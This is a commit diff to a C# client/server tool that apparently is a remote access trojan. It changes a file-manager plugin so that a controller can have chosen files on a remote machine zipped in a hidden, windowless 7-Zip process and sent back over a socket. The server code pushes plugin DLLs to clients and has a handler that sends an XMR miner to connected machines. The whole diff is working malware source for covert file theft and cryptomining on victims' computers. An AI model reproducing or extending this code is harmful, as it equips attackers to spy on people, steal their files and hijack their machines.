update file manager
This commit is contained in:
NYAN CAT 2019-10-09 09:43:33 +03:00
parent 198a79d30d
commit c9f6cc5429
4 changed files with 27 additions and 37 deletions

View File

@ -140,11 +140,24 @@ namespace Plugin.Handler
}
if (unpack_msgpack.ForcePathObject("Zip").AsString == "true")
{
ZipCommandLine(unpack_msgpack.ForcePathObject("Path").AsString, true);
StringBuilder sb = new StringBuilder();
StringBuilder location = new StringBuilder();
foreach (string path in unpack_msgpack.ForcePathObject("Path").AsString.Split(new[] { "-=>" }, StringSplitOptions.None))
{
if (!string.IsNullOrWhiteSpace(path))
{
sb.Append($"-ir!\"{path}\" ");
if (location.Length == 0)
location.Append(Path.GetFullPath(path));
}
}
Debug.WriteLine(sb.ToString());
Debug.WriteLine(location.ToString());
ZipCommandLine(sb.ToString(), true, location.ToString());
}
else
{
ZipCommandLine(unpack_msgpack.ForcePathObject("Path").AsString, false);
ZipCommandLine(unpack_msgpack.ForcePathObject("Path").AsString, false, "");
}
break;
}
@ -164,14 +177,14 @@ namespace Plugin.Handler
}
}
private void ZipCommandLine(string args, bool isZip)
private void ZipCommandLine(string args, bool isZip, string location)
{
if (isZip)
{
Process.Start(new ProcessStartInfo
{
FileName = "\"" + Packet.ZipPath + "\"",
Arguments = $"a -r \"{args}.zip\" \"{args}\" -y",
Arguments = $"a -r \"{location}.zip\" {args} -y",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = false,
@ -351,7 +364,6 @@ namespace Plugin.Handler
msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file);
msgpack2.ForcePathObject("File").LoadFileAsBytes(file);
tempSocket.Send(msgpack2.Encode2Bytes());
tempSocket.Dispose();
}
catch
{

View File

@ -227,7 +227,7 @@ namespace Server.Connection
}
}
public void SendPlugin(string hash) // client is missing some plguins, sending them
public void SendPlugin(string hash) // client is missing some plguins, sending them // total plugins = 550kb
{
try
{
@ -250,25 +250,6 @@ namespace Server.Connection
}
}
public void ReSendPAlllugins() // because we used ReSendPlugins ToolStripMenuItem
{
try
{
foreach (var plugin in Settings.Plugins)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Packet").SetAsString("savePlugin");
msgPack.ForcePathObject("Dll").SetAsString(plugin.Value);
msgPack.ForcePathObject("Hash").SetAsString(plugin.Key);
Send(msgPack.Encode2Bytes());
}
}
catch (Exception ex)
{
new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {ex.Message}", Color.Red);
}
}
public void KeepAlivePacket(object o)
{
lock (SendSync)

View File

@ -426,17 +426,20 @@ namespace Server.Forms
{
if (listView1.SelectedItems.Count > 0)
{
StringBuilder files = new StringBuilder();
foreach (ListViewItem itm in listView1.SelectedItems)
{
files.Append(itm.ToolTipText + "-=>");
}
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "zip";
msgpack.ForcePathObject("Path").AsString = itm.ToolTipText;
msgpack.ForcePathObject("Path").AsString = files.ToString();
msgpack.ForcePathObject("Zip").AsString = "true";
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
}
}
catch { }
}

View File

@ -176,12 +176,6 @@ namespace Server.Handle_Packet
break;
}
case "sendPlugin+":
{
client.ReSendPAlllugins();
break;
}
case "GetXmr":
{
new HandleMiner().SendMiner(client);